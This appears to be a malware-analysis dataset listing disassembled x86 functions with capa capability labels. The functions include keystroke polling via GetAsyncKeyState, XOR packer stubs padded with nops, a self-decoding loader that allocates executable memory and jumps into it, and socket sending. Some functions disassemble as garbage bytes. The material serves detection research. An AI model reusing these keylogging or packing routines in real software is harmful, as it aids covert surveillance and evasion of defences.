joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4075c0
Capabilities:
Create process on windows
Get graphical window text

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x344
push 0x104
lea eax, [ebp - 0x208]
push eax
mov ecx, dword [ebp + 0xc]
push ecx
call dword [sym.imp.USER32.dll_GetWindowTextA]
movsx edx, byte [ebp - 0x208]
test edx, edx
je 0x407693
mov eax, dword [ebp + 0xc]
push eax
call fcn.004078ac
add esp, 4
lea ecx, [ebp - 0x104]
push ecx
lea edx, [ebp - 0x208]
push edx
lea eax, [ebp - 0x208]
push eax
call fcn.00407b86
add esp, 0xc
push 5
push 0
lea ecx, [ebp - 0x104]
push ecx
lea edx, [ebp - 0x208]
push edx
push 0x40c194
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
mov ecx, 0x20
cmp ecx, eax
sbb edx, edx
neg edx
mov dword [ebp - 0x20c], edx
cmp dword [ebp - 0x20c], 0
jne 0x40768b
lea eax, [ebp - 0x104]
push eax
lea ecx, [ebp - 0x208]
push ecx
push str.Cant_run_program_n__s__nwith_parameters_n__s_
lea edx, [ebp - 0x344]
push edx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x10
push 0x10
push str.something_wrong...
lea eax, [ebp - 0x344]
push eax
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.USER32.dll_MessageBoxA]
mov eax, dword [ebp - 0x20c]
jmp 0x407695
xor eax, eax
mov esp, ebp
pop ebp
ret
Function at 0x408280
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push ecx
lea eax, [ebp - 4]
push eax
push 0
mov ecx, dword [ebp + 8]
push ecx
push 0x4082ad
push 0
push 0
call dword [sym.imp.KERNEL32.DLL_CreateThread]
push eax
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
mov eax, 1
mov esp, ebp
pop ebp
ret

Function at 0x408431
Capabilities:
Log keystrokes via polling

Disassembly:
push ebp
mov ebp, esp
push ecx
mov dword [ebp - 4], 0
push 0x10
call dword [sym.imp.USER32.dll_GetAsyncKeyState]
push 0x11
call dword [sym.imp.USER32.dll_GetAsyncKeyState]
push 0x12
call dword [sym.imp.USER32.dll_GetAsyncKeyState]
push 0x10
call dword [sym.imp.USER32.dll_GetAsyncKeyState]
movsx eax, ax
test eax, eax
je 0x40846c
mov ecx, dword [ebp - 4]
or ecx, 1
mov dword [ebp - 4], ecx
push 0x11
call dword [sym.imp.USER32.dll_GetAsyncKeyState]
movsx edx, ax
test edx, edx
je 0x408483
mov eax, dword [ebp - 4]
or al, 2
mov dword [ebp - 4], eax
push 0x12
call dword [sym.imp.USER32.dll_GetAsyncKeyState]
movsx ecx, ax
test ecx, ecx
je 0x40849b
mov edx, dword [ebp - 4]
or edx, 4
mov dword [ebp - 4], edx
mov eax, dword [ebp - 4]
mov esp, ebp
pop ebp
ret
Function at 0x405ef4
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
cmp dword [0x43ea34], 0
push esi
jne 0x405f2b
xor ecx, ecx
push 8
mov eax, ecx
pop esi
mov edx, eax
and dl, 1
neg dl
sbb edx, edx
and edx, 0xedb88320
shr eax, 1
xor eax, edx
dec esi
jne 0x405f05
mov dword [ecx*4 + 0x43ea30], eax
inc ecx
cmp ecx, 0x100
jl 0x405f00
mov edx, dword [esp + 0x10]
mov eax, dword [esp + 8]
test edx, edx
not eax
jbe 0x405f5c
mov ecx, dword [esp + 0xc]
push edi
movzx edi, byte [ecx]
mov esi, eax
and esi, 0xff
xor esi, edi
shr eax, 8
mov esi, dword [esi*4 + 0x43ea30]
xor eax, esi
inc ecx
dec edx
jne 0x405f3e
pop edi
not eax
pop esi
ret 0xc

Function at 0x4153e0
Capabilities:
Encode data using xor

Disassembly:
aam 0x99
mov ebp, 0x39f08459
fiadd word [ecx + 0x34f3011]
invalid
xor byte [edi + 3], cl
pop ebx
pop eax
cmc
ja 0x4153ea
add ah, byte [ebx]
jg 0x4153e5
or byte [edi + 5], dh
lodsd eax, dword [esi]
cmpsb byte [esi], byte es:[edi]
pushal
cmp byte [eax], dl
clc
aam 0x81
stosb byte es:[edi], al
pop esp
aas
retf 0xe010
Function at 0x401000
Capabilities:
Encode data using xor

Disassembly:
push ebp
push ebx
push edi
push esi
mov esi, dword [esp + 0x18]
test esi, esi
je 0x40122f
mov edi, dword [esp + 0x14]
xor ebx, ebx
mov ebp, dword [sym.imp.USER32.dll_ReleaseDC]
nop dword [eax]
push str.dHJdvghcgyhushgjdshgj
push 0x437338
call fcn.00401b60
add esp, 8
push eax
call fcn.00402050
add esp, 4
push 0
push 0
call ebp
add byte [edi + ebx], 0x12
push str.dHJdvghcgyhushgjdshgj
push 0x437338
call fcn.00401b60
add esp, 8
push eax
call fcn.00402050
add esp, 4
push 0
push 0
call ebp
add byte [edi + ebx], 0x3d
push str.dHJdvghcgyhushgjdshgj
push 0x437338
call fcn.00401b60
add esp, 8
push eax
call fcn.00402050
add esp, 4
push 0
push 0
call ebp
add byte [edi + ebx], 0xc0
push str.dHJdvghcgyhushgjdshgj
push 0x437338
call fcn.00401b60
add esp, 8
push eax
call fcn.00402050
add esp, 4
push 0
push 0
call ebp
xor byte [edi + ebx], 0x7f
push str.dHJdvghcgyhushgjdshgj
push 0x437338
call fcn.00401b60
add esp, 8
push eax
call fcn.00402050
add esp, 4
push 0
push 0
call ebp
add byte [edi + ebx], 9
push str.dHJdvghcgyhushgjdshgj
push 0x437338
call fcn.00401b60
add esp, 8
push eax
call fcn.00402050
add esp, 4
push 0
push 0
call ebp
add byte [edi + ebx], 0xa
push str.dHJdvghcgyhushgjdshgj
push 0x437338
call fcn.00401b60
add esp, 8
push eax
call fcn.00402050
add esp, 4
push 0
push 0
call ebp
add byte [edi + ebx], 0x86
push str.dHJdvghcgyhushgjdshgj
push 0x437338
call fcn.00401b60
add esp, 8
push eax
call fcn.00402050
add esp, 4
push 0
push 0
call ebp
xor byte [edi + ebx], 0xf9
push str.dHJdvghcgyhushgjdshgj
push 0x437338
call fcn.00401b60
add esp, 8
push eax
call fcn.00402050
add esp, 4
push 0
push 0
call ebp
add byte [edi + ebx], 0xd9
push str.dHJdvghcgyhushgjdshgj
push 0x437338
call fcn.00401b60
add esp, 8
push eax
call fcn.00402050
add esp, 4
push 0
push 0
call ebp
add byte [edi + ebx], 0x5b
push str.dHJdvghcgyhushgjdshgj
push 0x437338
call fcn.00401b60
add esp, 8
push eax
call fcn.00402050
add esp, 4
push 0
push 0
call ebp
xor byte [edi + ebx], 0xdd
push str.dHJdvghcgyhushgjdshgj
push 0x437338
call fcn.00401b60
add esp, 8
push eax
call fcn.00402050
add esp, 4
push 0
push 0
call ebp
add byte [edi + ebx], 0xc3
push str.dHJdvghcgyhushgjdshgj
push 0x437338
call fcn.00401b60
add esp, 8
push eax
call fcn.00402050
add esp, 4
push 0
push 0
call ebp
xor byte [edi + ebx], 0xb2
push str.dHJdvghcgyhushgjdshgj
push 0x437338
call fcn.00401b60
add esp, 8
push eax
call fcn.00402050
add esp, 4
push 0
push 0
call ebp
add byte [edi + ebx], 0xf
inc ebx
cmp esi, ebx
jne 0x401020
pop esi
pop edi
pop ebx
pop ebp
ret
Function at 0x40a15c
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
push ebx
push esi
push edi
mov eax, dword [ebp + 0xc]
mov word [ebp + 0xc], ax
mov ebx, 0x19826993
mov eax, ebx
mul ebx
mov dword [ebp - 0x10], eax
mov ebx, eax
xor esi, esi
mov eax, ebx
mul ebx
mov dword [ebp - 0x14], eax
mov ebx, eax
mov word [ebp - 0xc], 0
jmp 0x40a272
mov eax, ebx
xor eax, ebx
mov ebx, eax
mov eax, dword [ebp + 8]
add eax, esi
push eax
call fcn.00405066
pop ecx
mov edx, eax
mov byte [ebp - 1], dl
cmp byte [ebp - 1], 0
jne 0x40a1b3
mov byte [ebp - 2], 0
jmp 0x40a1dd
call fcn.0040ddd8
mov dword [ebp - 0x18], eax
mov eax, 0x7fff
mov edi, 7
movzx edx, byte [ebp - 1]
mov ecx, edi
sub ecx, edx
cdq
idiv ecx
mov ecx, eax
mov eax, dword [ebp - 0x18]
cdq
idiv ecx
mov edx, eax
mov byte [ebp - 2], dl
mov eax, dword [ebp + 8]
mov al, byte [esi + eax]
cmp al, 0x70
jb 0x40a1fc
cmp al, 0x7f
ja 0x40a1fc
mov eax, dword [ebp + 8]
add eax, esi
inc eax
movzx edx, byte [eax]
movzx ecx, byte [ebp - 2]
sub edx, ecx
mov byte [eax], dl
mov eax, dword [ebp + 8]
movzx eax, byte [esi + eax]
cmp eax, 0xe2
jne 0x40a21b
mov eax, dword [ebp + 8]
add eax, esi
inc eax
movzx edx, byte [eax]
movzx ecx, byte [ebp - 2]
sub edx, ecx
mov byte [eax], dl
mov eax, ebx
sub eax, ebx
mov ebx, eax
push 8
push 0x90
lea eax, [ebp - 0xa]
push eax
call fcn.0040ddc0
movzx eax, byte [ebp - 1]
push eax
mov eax, dword [ebp + 8]
add eax, esi
push eax
lea eax, [ebp - 0xa]
movzx edx, byte [ebp - 2]
add eax, edx
push eax
call fcn.0040ddb4
mov eax, ebx
sub eax, ebx
mov ebx, eax
push 6
lea eax, [ebp - 0xa]
push eax
mov eax, dword [ebp + 8]
add eax, esi
push eax
call fcn.0040ddb4
add esp, 0x24
mov eax, ebx
add eax, ebx
mov ebx, eax
add esi, 6
inc word [ebp - 0xc]
movzx eax, word [ebp + 0xc]
dec eax
cmp esi, eax
jb 0x40a190
pop edi
pop esi
pop ebx
leave
ret

Function at 0x430000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
nop
mov eax, section..text
nop
mov ebx, 0x408ecc
nop
mov ecx, 0x10aa722d
nop
nop
test eax, eax
nop
nop
nop
nop
nop
nop
je 0x43004e
nop
nop
xor dword [eax], ecx
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
jne 0x430024
mov eax, section..data
nop
mov ebx, 0x42e1d0
nop
mov ecx, 0x17224047
nop
nop
test eax, eax
nop
nop
nop
nop
je 0x430084
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
nop
add eax, 4
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
nop
jne 0x43006c
nop
nop
nop
nop
nop
popal
jmp 0x401219
Function at 0x406910
Capabilities:
Access peb ldr_data
Get process heap flags

Disassembly:
push 0xffffffffffffffff
push 0x43029b
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
push esi
mov esi, dword [esp + 0x18]
push edi
lea ecx, [esi + 4]
mov dword [esi], 0x404834
call fcn.00407afb
push 4
mov dword [esp + 0x18], 0
call fcn.004093ad
mov edi, eax
add esp, 4
test edi, edi
je 0x406984
push ebx
call fcn.004078f6
mov dword [edi], eax
call fcn.004076b5
push 0
lea ecx, [esp + 0x10]
mov ebx, eax
call fcn.00407abc
mov eax, dword [ebx + 4]
cmp eax, 0xffffffff
jae 0x406978
inc eax
mov dword [ebx + 4], eax
lea ecx, [esp + 0xc]
call fcn.00407ae4
pop ebx
jmp 0x406986
xor edi, edi
mov dword [esi + 0x38], edi
lea eax, [esi + 8]
mov dword [esi + 0x10], eax
lea ecx, [esi + 0x18]
mov dword [esi + 0x20], ecx
lea edx, [esi + 0x1c]
mov dword [esi + 0x24], edx
lea eax, [esi + 0xc]
mov dword [esi + 0x14], eax
lea ecx, [esi + 0x28]
mov dword [esi + 0x30], ecx
lea edx, [esi + 0x2c]
mov dword [esi + 0x34], edx
mov dword [eax], 0
mov eax, dword [esi + 0x24]
mov dword [eax], 0
mov ecx, dword [esi + 0x34]
mov dword [ecx], 0
mov edx, dword [esi + 0x10]
mov dword [edx], 0
mov eax, dword [esi + 0x20]
mov dword [eax], 0
mov ecx, dword [esi + 0x30]
mov dword [ecx], 0
mov ecx, dword [esp + 0xc]
pop edi
mov eax, esi
pop esi
mov dword fs:[0], ecx
add esp, 0x10
ret 4

Function at 0x409f7b
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x433354]
jne 0x409f85
repz ret
jmp fcn.00410a6c
Function at 0x432003
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
mov eax, section..rsrc
nop
push 4
nop
nop
nop
nop
pop edi
nop
nop
nop
nop
nop
nop
nop
cmp eax, 0
nop
je 0x432072
nop
nop
nop
nop
mov ebx, 0x40c7d0
nop
nop
nop
nop
nop
mov ecx, ebx
sub ecx, eax
nop
nop
nop
nop
xor edx, edx
nop
nop
nop
nop
nop
nop
nop
nop
push eax
nop
nop
mov eax, ecx
nop
nop
nop
div edi
nop
nop
nop
nop
nop
nop
xchg ecx, eax
nop
nop
nop
pop eax
nop
nop
nop
nop
nop
mov esi, 0xfd21b44
nop
xor dword [eax], esi
nop
nop
nop
nop
nop
add eax, edi
nop
nop
nop
nop
nop
nop
loop 0x432060
nop
nop
mov eax, section..data
nop
nop
cmp eax, 0
nop
nop
nop
nop
je 0x4320d2
nop
mov ebx, 0x42f314
nop
nop
mov ecx, ebx
nop
nop
nop
nop
nop
nop
nop
sub ecx, eax
nop
nop
nop
nop
xor edx, edx
nop
nop
push eax
nop
nop
nop
nop
mov eax, ecx
nop
nop
nop
nop
nop
nop
div edi
nop
xchg ecx, eax
nop
nop
nop
nop
nop
pop eax
nop
nop
nop
nop
nop
nop
mov esi, 0x43b15f08
xor dword [eax], esi
nop
nop
nop
nop
nop
nop
add eax, edi
nop
nop
nop
nop
loop 0x4320c0
nop
nop
nop
nop
nop
nop
nop
popal
jmp 0x431219
Function at 0x431003
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
call 0x43100c
nop
nop
pop eax
nop
nop
nop
add eax, 0x403e6a
nop
sub eax, 0x403e10
nop
nop
mov ebx, dword [eax]
nop
nop
nop
nop
nop
nop
mov ecx, dword [eax + 4]
mov edx, dword [eax + 8]
nop
nop
nop
nop
nop
nop
nop
xor dword [ebx], edx
nop
nop
nop
add ebx, 4
nop
nop
cmp ebx, ecx
nop
nop
nop
nop
nop
nop
jl 0x431030
add eax, 0xc
nop
nop
nop
nop
nop
nop
cmp dword [eax], 0
nop
jne 0x43101e
nop
nop
nop
popal
nop
nop
nop
nop
nop
jmp fcn.00401219
Function at 0x407010
Capabilities:
Enumerate pe sections

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
xor edx, edx
push ebx
push esi
push edi
mov ecx, dword [eax + 0x3c]
add ecx, eax
movzx eax, word [ecx + 0x14]
movzx ebx, word [ecx + 6]
add eax, 0x18
add eax, ecx
test ebx, ebx
je 0x40704e
mov edi, dword [ebp + 0xc]
mov esi, dword [eax + 0xc]
cmp edi, esi
jb 0x407046
mov ecx, dword [eax + 8]
add ecx, esi
cmp edi, ecx
jb 0x407050
inc edx
add eax, 0x28
cmp edx, ebx
jb 0x407036
xor eax, eax
pop edi
pop esi
pop ebx
pop ebp
ret

Function at 0x407120
Capabilities:
Parse pe header

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
mov ecx, dword [ebp + 8]
mov eax, 0x5a4d
cmp word [ecx], ax
jne 0x407151
mov eax, dword [ecx + 0x3c]
add eax, ecx
cmp dword [eax], 0x4550
jne 0x407151
mov ecx, 0x10b
cmp word [eax + 0x18], cx
jne 0x407151
mov eax, 1
pop ebp
ret
xor eax, eax
pop ebp
ret

Function at 0x42e000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
call 0x42e00c
nop
nop
nop
pop eax
nop
nop
add eax, 0x403ac5
nop
sub eax, 0x403a6b
nop
nop
nop
mov ebx, dword [eax]
nop
nop
nop
nop
nop
mov ecx, dword [eax + 4]
nop
mov edx, dword [eax + 8]
nop
nop
nop
nop
nop
nop
xor dword [ebx], edx
add ebx, 4
nop
nop
nop
nop
cmp ebx, ecx
nop
nop
nop
nop
nop
jl 0x42e030
nop
nop
nop
nop
nop
add eax, 0xc
nop
cmp dword [eax], 0
nop
nop
nop
jne 0x42e01e
nop
nop
nop
nop
nop
nop
popal
nop
nop
jmp loc.00401219

Function at 0x4012b6
Capabilities:
Hide graphical window

Disassembly:
push ebp
push 0x10000
push 0x1000
push 1
call dword [sym.imp.KERNEL32.dll_HeapCreate]
mov dword [0x403eb4], eax
push 0x64
push 8
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov ecx, 0x30
push eax
mov dword [eax], ecx
add eax, 0x4c
mov ebp, eax
mov eax, 0x400000
mov dword [0x403eb0], eax
mov dword [ebp - 0x38], eax
mov dword [ebp - 0x44], 0x401191
mov dword [ebp - 0x24], str.resiliency
call dword [sym.imp.USER32.dll_RegisterClassExA]
xor eax, eax
push eax
push dword [0x403eb0]
push eax
push eax
push 0x190
push 0x2b2
push 0x640
push 0x9c4
push 0
push str.abasement
push str.resiliency
push eax
call dword [sym.imp.USER32.dll_CreateWindowExA]
mov dword [0x403eb8], eax
push eax
push 0
push eax
call dword [sym.imp.USER32.dll_ShowWindow]
call dword [sym.imp.USER32.dll_UpdateWindow]
xor eax, eax
push eax
push eax
push eax
lea edx, [ebp - 0x1c]
push edx
call dword [sym.imp.USER32.dll_GetMessageA]
test eax, eax
je 0x401380
mov edi, dword [sym.imp.USER32.dll_DispatchMessageA]
lea ecx, [ebp - 0x1c]
push ecx
call edi
xor eax, eax
push eax
push eax
push eax
lea edx, [ebp - 0x1c]
push edx
call dword [sym.imp.USER32.dll_GetMessageA]
test eax, eax
jne 0x401367
mov eax, dword [0x403eb4]
push eax
call dword [sym.imp.KERNEL32.dll_HeapDestroy]
pop ebp
ret 0x10
Function at 0x40548b
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x30
pushal
call 0x40549a
pop dword [ebp - 0x20]
mov eax, 0x40549a
sub dword [ebp - 0x20], eax
mov dword [ebp - 0x30], 0x5f58eea9
add dword [ebp - 0x30], 0xeef956a2
mov dword [ebp - 0x2c], 0xc4b92bd0
add dword [ebp - 0x2c], 0x6d7a2075
mov dword [ebp - 0x28], 0xb34de0b6
add dword [ebp - 0x28], 0x98fe6378
mov dword [ebp - 0x24], 0xdc872176
sub dword [ebp - 0x24], 0xdc872176
lea eax, [ebp - 0x30]
push eax
mov eax, 0x8a208107
add eax, 0x761ff005
add eax, dword [ebp - 0x20]
call dword [eax]
mov dword [ebp - 0x30], 0x92dbd21c
sub dword [ebp - 0x30], 0x1e6968c6
mov dword [ebp - 0x2c], 0x2bbfcd09
add dword [ebp - 0x2c], 0x15ac946c
mov dword [ebp - 0x28], 0xfe8c9a3e
sub dword [ebp - 0x28], 0x9b1d2dd2
mov dword [ebp - 0x24], 0x1f49828f
sub dword [ebp - 0x24], 0x1f49828f
lea ebx, [ebp - 0x30]
push ebx
push eax
mov eax, 0x1dd18a78
sub eax, 0x1d911964
add eax, dword [ebp - 0x20]
call dword [eax]
push 0x40
push 0x1000
push 0x368c3
push 0
call eax
mov ecx, 0xde89b040
sub ecx, 0xde8969a4
mov ebx, eax
mov edx, 0x113be3e1
sub edx, 0x10f8bde1
add edx, dword [ebp - 0x20]
mov edi, 0xd794716e
xor dword [ebp - 4], 0x521329c
mov esi, dword [edx]
xor dword [ebp - 0xc], 0x71878a13
sub esi, edi
add dword [ebp - 0x14], 0x12423060
mov dword [ebx], esi
add ebx, 0xd9e5493b
sub ebx, 0xd9e54937
add edx, 4
loop 0x4055b1
add eax, 0x14e50435
add eax, 0xeb1c090e
mov ebx, eax
add eax, 5
mov ecx, 0x400000
add ecx, dword [ebp - 0x20]
call ebx
leave
ret

Function at 0x40573a
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push esi
push edi
push dword [esp + 0xc]
mov esi, 0x4218a8
push esi
call fcn.00405b66
push esi
call fcn.004056ed
mov edi, eax
test edi, edi
jne 0x40575b
xor eax, eax
jmp 0x4057ad
push edi
call fcn.00405dc8
test byte [0x423eb8], 0x80
je 0x405774
mov al, byte [edi]
test al, al
je 0x405757
cmp al, 0x5c
je 0x405757
sub edi, esi
jmp 0x40578c
call fcn.00405e61
test eax, eax
je 0x405786
test byte [eax], 0x10
je 0x405757
push esi
call fcn.004056a0
push esi
call sub.kernel32.dll_lstrlenA
cmp eax, edi
push esi
jg 0x405778
call fcn.00405659
push esi
call dword [sym.imp.kernel32.dll_GetFileAttributesA]
xor ecx, ecx
cmp eax, 0xffffffff
setne cl
mov eax, ecx
pop edi
pop esi
ret 4

Function at 0x40581e
Capabilities:
Check if file exists
Get file attributes
Set file attributes

Disassembly:
push dword [esp + 4]
call dword [sym.imp.kernel32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
je 0x40583a
and al, 0xfe
push eax
push dword [esp + 8]
call dword [sym.imp.kernel32.dll_SetFileAttributesA]
ret 4

Function at 0x40583d
Capabilities:
Get file attributes

Disassembly:
push dword [esp + 4]
call dword [sym.imp.kernel32.dll_GetFileAttributesA]
mov ecx, eax
push 0
inc ecx
neg ecx
sbb ecx, ecx
and ecx, eax
push ecx
push dword [esp + 0x14]
push 0
push 1
push dword [esp + 0x1c]
push dword [esp + 0x1c]
call dword [sym.imp.kernel32.dll_CreateFileA]
ret 0xc
Function at 0x401f10
Capabilities:
Get disk information
Inspect load icon resource
Read file on windows

Disassembly:
mov eax, dword [esp + 4]
sub esp, 0x148
push ebx
push esi
push edi
push 0x65
push eax
call dword [sym.imp.USER32.dll_LoadIconA]
lea ecx, [esp + 0xc]
call fcn.00401000
lea ecx, [esp + 0x50]
push 0x104
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea edx, [esp + 0x50]
lea ecx, [esp + 0xc]
push edx
call fcn.004012b0
test eax, eax
je 0x402021
lea eax, [esp + 0x50]
push 0x404030
push eax
call dword [sym.imp.MSVCRT.dll_fopen]
mov esi, eax
add esp, 8
test esi, esi
je 0x402084
lea ecx, [esp + 0x50]
push ecx
lea ecx, [esp + 0x10]
call fcn.00401290
mov edi, dword [sym.imp.MSVCRT.dll_fseek]
sub eax, 8
push 0
push eax
push esi
call edi
mov ebx, dword [sym.imp.MSVCRT.dll_fread]
push esi
push 1
lea edx, [esp + 0x24]
push 8
push edx
call ebx
mov eax, dword [esp + 0x2c]
push 0
push eax
push esi
call edi
push esi
push 1
lea ecx, [esp + 0x48]
push 0x38
push ecx
call ebx
push esi
call dword [sym.imp.MSVCRT.dll_fclose]
mov eax, dword [esp + 0x88]
mov edx, dword [esp + 0x50]
add esp, 0x3c
test eax, eax
mov eax, dword [esp + 0x10]
push edx
push eax
jne 0x401ffe
sub esp, 0x38
mov ecx, 0xe
lea esi, [esp + 0x58]
mov edi, esp
rep movsd dword es:[edi], dword [esi]
lea ecx, [esp + 0x90]
push ecx
lea ecx, [esp + 0x50]
call fcn.00401800
jmp 0x402084
sub esp, 0x38
mov ecx, 0xe
lea esi, [esp + 0x58]
mov edi, esp
rep movsd dword es:[edi], dword [esi]
lea ecx, [esp + 0x90]
push ecx
lea ecx, [esp + 0x50]
call fcn.00401a90
jmp 0x402084
lea ecx, [esp + 0x10]
call sub.MFC42.DLL_CString::CString_1
call dword [sym.imp.KERNEL32.dll_GetLogicalDrives]
mov edi, eax
mov esi, 1
xor ebx, ebx
test edi, esi
je 0x40206a
mov dl, bl
lea ecx, [esp + 0x10]
add dl, 0x41
push edx
call sub.MFC42.DLL_CString::operator_1
push 0x40412c
lea ecx, [esp + 0x14]
call fcn.004020e2
lea ecx, [esp + 0xc]
mov eax, dword [esp + 0x10]
push eax
push 0
call fcn.00401cf0
add esi, esi
inc ebx
cmp ebx, 0x1a
jl 0x402039
lea ecx, [esp + 0xc]
call fcn.00401040
lea ecx, [esp + 0x10]
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 0xc]
call fcn.00401030
pop edi
pop esi
xor eax, eax
pop ebx
add esp, 0x148
ret 0x10

Function at 0x408a80
Capabilities:
Send data
Send data on socket

Disassembly:
nop
pop ds
mov ebp, esp
mov eax, dword [ebx]
or ah, cl
call dword [sym.imp.MSVCRT.dll_strerror]
add esp, 4
test eax, eax
je 0x408aa7
mov ecx, dword [ebp + 0x10]
jl 0x408aee
or al, 0x50
xchg esp, eax
push edx
call fcn.00408780
add esp, 0xc
pop ebp
ret
mov eax, dword [ebp + 0xa]
mov ecx, dword [ebp + 0xc]
push 0x40f9a9
outsd dx, dword [esi]
push ecx
call fcn.00408780
jl 0x408a7f
or al, 0xec
ret
cld
add byte [eax], al
add byte [eax], al
call dword [sym.imp.WS2_32.dll_WSASend]
add dword [esi + 0x572c75ff], 0xb
cmp eax, sym.imp.WSOCK32.dll_WSAGetLastError
call edi
test eax, eax
jne 0x408b15
xlatb
push es
pop edi
dec eax
mov esp, ebp
pop ebp
ret 0x88c0
call edi
push edx
push es
add byte [eax], al
add byte [eax], al
outsb dx, byte [esi]
stc
cmp ah, 0xa
std
salc
mov esi, edx
and dl, al
nop
add byte [ebx + 0x689e445], cl
xor eax, eax
pop esi
mov dl, 0xe5
pop ebp
ret 0xc
Function at 0x40870c
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
push 2
lea eax, [ebp - 4]
push eax
push 0x20000001
push str._x_sys_default_locale
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoEx]
mov esi, dword [ebp + 0xc]
neg eax
sbb eax, eax
xor ecx, ecx
and eax, dword [ebp - 4]
push ecx
push ecx
push esi
push eax
push dword [ebp + 8]
mov dword [ebp - 4], eax
push ecx
push 0x1300
call dword [sym.imp.KERNEL32.dll_FormatMessageA]
push eax
push dword [esi]
call fcn.004086e8
pop esi
leave
ret 8

Function at 0x40906e
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x4090ad
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x4090ad
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x4090ad
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x4090ad
cmp dword [ecx + 0x74], 0xe
jbe 0x4090ad
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret
Function at 0x406cfc
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
push ebp
mov ebp, esp
cmp dword [0x4378ac], 0
jne 0x406d3a
xor ecx, ecx
push esi
push 8
mov eax, ecx
pop esi
mov edx, eax
and dl, 1
movzx edx, dl
neg edx
sbb edx, edx
and edx, 0xedb88320
shr eax, 1
xor eax, edx
dec esi
jne 0x406d10
mov dword [ecx*4 + 0x4378a8], eax
inc ecx
cmp ecx, 0x100
jl 0x406d0b
pop esi
cmp dword [ebp + 0x10], 0
mov eax, dword [ebp + 8]
not eax
jbe 0x406d67
mov ecx, dword [ebp + 0xc]
movzx edx, byte [ecx]
dec dword [ebp + 0x10]
xor edx, eax
and edx, 0xff
shr eax, 8
xor eax, dword [edx*4 + 0x4378a8]
inc ecx
cmp dword [ebp + 0x10], 0
ja 0x406d48
not eax
pop ebp
ret 0xc

Function at 0x406da5
Capabilities:
Hash data using murmur3

Disassembly:
mov eax, dword [esp + 4]
shr eax, 0xf
xor eax, dword [esp + 4]
imul eax, eax, 0x85ebca77
mov ecx, eax
shr ecx, 0xd
xor ecx, eax
imul ecx, ecx, 0xc2b2ae3d
mov eax, ecx
shr eax, 0x10
xor eax, ecx
ret

Function at 0x430004
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
call 0x43000c
nop
pop eax
nop
nop
nop
nop
nop
add eax, 0x403d6f
nop
sub eax, 0x403d15
nop
mov ebx, dword [eax]
nop
nop
nop
nop
nop
nop
mov ecx, dword [eax + 4]
nop
nop
nop
mov edx, dword [eax + 8]
nop
nop
nop
nop
xor dword [ebx], edx
nop
nop
add ebx, 4
nop
nop
nop
nop
nop
cmp ebx, ecx
jl 0x430030
nop
nop
nop
nop
nop
add eax, 0xc
nop
nop
nop
nop
cmp dword [eax], 0
nop
nop
jne 0x43001e
nop
nop
nop
nop
nop
nop
nop
popal
nop
jmp loc.00401219